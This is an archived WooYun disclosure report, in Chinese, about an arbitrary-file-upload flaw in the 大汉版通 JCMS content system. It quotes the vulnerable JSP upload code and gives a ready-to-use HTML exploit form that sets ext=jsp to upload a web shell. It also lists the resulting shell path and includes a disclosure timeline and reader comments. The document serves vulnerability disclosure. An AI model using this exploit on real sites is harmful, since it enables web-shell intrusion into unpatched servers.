大汉版通系统无限制getshell

admin 2015年6月12日08:09:25评论329 views字数 228阅读0分45秒阅读模式
摘要

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-05: 细节向公众公开

漏洞概要 关注数(20) 关注此漏洞

缺陷编号: WooYun-2014-75585

漏洞标题: 大汉版通系统无限制getshell 大汉版通系统无限制getshell

相关厂商: 南京大汉网络有限公司

漏洞作者: 路人甲

提交时间: 2014-09-09 19:14

公开时间: 2014-12-05 19:16

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 10

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 逻辑错误 任意文件写入利用

0人收藏


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-05: 细节向公众公开

简要描述:

大汉版通系统无限制getshell

详细说明:

该文件上传发生在:

/jcms/m_5_e/module/idea/opr_import_discussion.jsp

核心代码如下:

code 区域
<%
ListTable listtable = new ListTable(request);
out.println(listtable.getListTableCssJs());
sys.initSysPara(request);
String strBillStatus = Convert.getParameter(request,"fn_billstatus","A");
jcms.entity.Merp_Pub_UserEntity userentity = UserRightBLF.getUserInfo(request);
int typeid = Convert.getParameterInt(request,"typeid",0);
/*定义变量、取表单值*/
String strTpl_fn_billstatus = "S";
/*保存、更新模板 -- 新增S或者更新B*/
if (strBillStatus.equals("S")){
String strFilePath = application.getRealPath("") + "/jcms_files/jcms"+sys.appId+"/web"+sys.webId+"/site/module/idea/tem/upload/";
Convert.createDirectory(strFilePath);
CommonUploadFile upload = new CommonUploadFile(strFilePath, "");
boolean bl = false;
String[] strFiles = null;
try {
bl = upload.uploadFile(request);
}
catch (Exception e) {
}
String ext = upload.getFormValue("ext");//得到上传文件的格式
if(bl){
ColumnParse cp = new ColumnParse( sys.appId,sys.webId );
cp.setUserentity( userentity );
String strXMLFile = "";
strFiles = upload.getAllFileName();
TopicBLF blf=new TopicBLF(sys.appId,sys.webId);
if( strFiles != null ){
for(int i=0;i<strFiles.length;i++){
strXMLFile = strFilePath + strFiles[i];
blf.doImport(strXMLFile,typeid,userentity.getVc_username());
}

}
}
String strAlter = " top.buttomFrame.right_frame.location.href='./que_discussion.jsp?typeid="+typeid+"';/n"
+ "top.buttomFrame.left_frame.location.reload();/n"
+ "removeTB();/n";
out.println( Convert.getAlterScript( strAlter ) );
return;
}
%>

通过 String ext = upload.getFormValue("ext");//得到上传文件的格式 获取上传的格式,但这个完全可控。所以造成了任意文件上传

漏洞证明:

漏洞利用:

将如下代码保存为htm

code 区域
<form action="http://**.**.**.**/jcms/m_5_e/module/idea/opr_import_discussion.jsp?typeid=0&fn_billstatus=S" method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="typeid" value="0">
<input type="hidden" name="fn_billstatus" value="S">
<input type="hidden" name="ext" value="jsp">
<input type="file" name="file1" />
<input type="submit" value="Upload" id="editbutton"/>
</form>
Path : /jcms/jcms_files/jcms/web0/site/module/idea/tem/upload/+uploadname

打开便可直接上传任意的文件,文件上传后,路径为:

code 区域
/jcms/jcms_files/jcms/web0/site/module/idea/tem/upload/+你上传的文件名

采用http://**.**.**.**网站进行漏洞利用证明:

code 区域
http://**.**.**.**/jcms/jcms_files/jcms/web0/site/module/idea/tem/upload/shell.jsp

如图 :

大汉版通系统无限制getshell

修复方案:

严格限制文件上传的格式

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-05 19:16

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-09-09 19:17 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)

    2

    路人甲又出来祸害人间了

  2. 2014-09-10 15:39 | 黑吃黑 ( 普通白帽子 | Rank:165 漏洞数:32 | 不是因为看到了希望才去努力,而是努力了才...)

    0

    为什么忽略?

  3. 2014-09-10 16:22 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

    0

    居然没有理由?

  4. 2014-12-05 20:22 | 曙光的希望 ( 路人 | Rank:14 漏洞数:5 | 曙光的希望)

    1

    需要后台权限

  5. 2014-12-06 13:54 | D&G ( 普通白帽子 | Rank:780 漏洞数:158 | going)

    1

    @曙光的希望 看这意思不应该是需要权限,直接getshell么

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin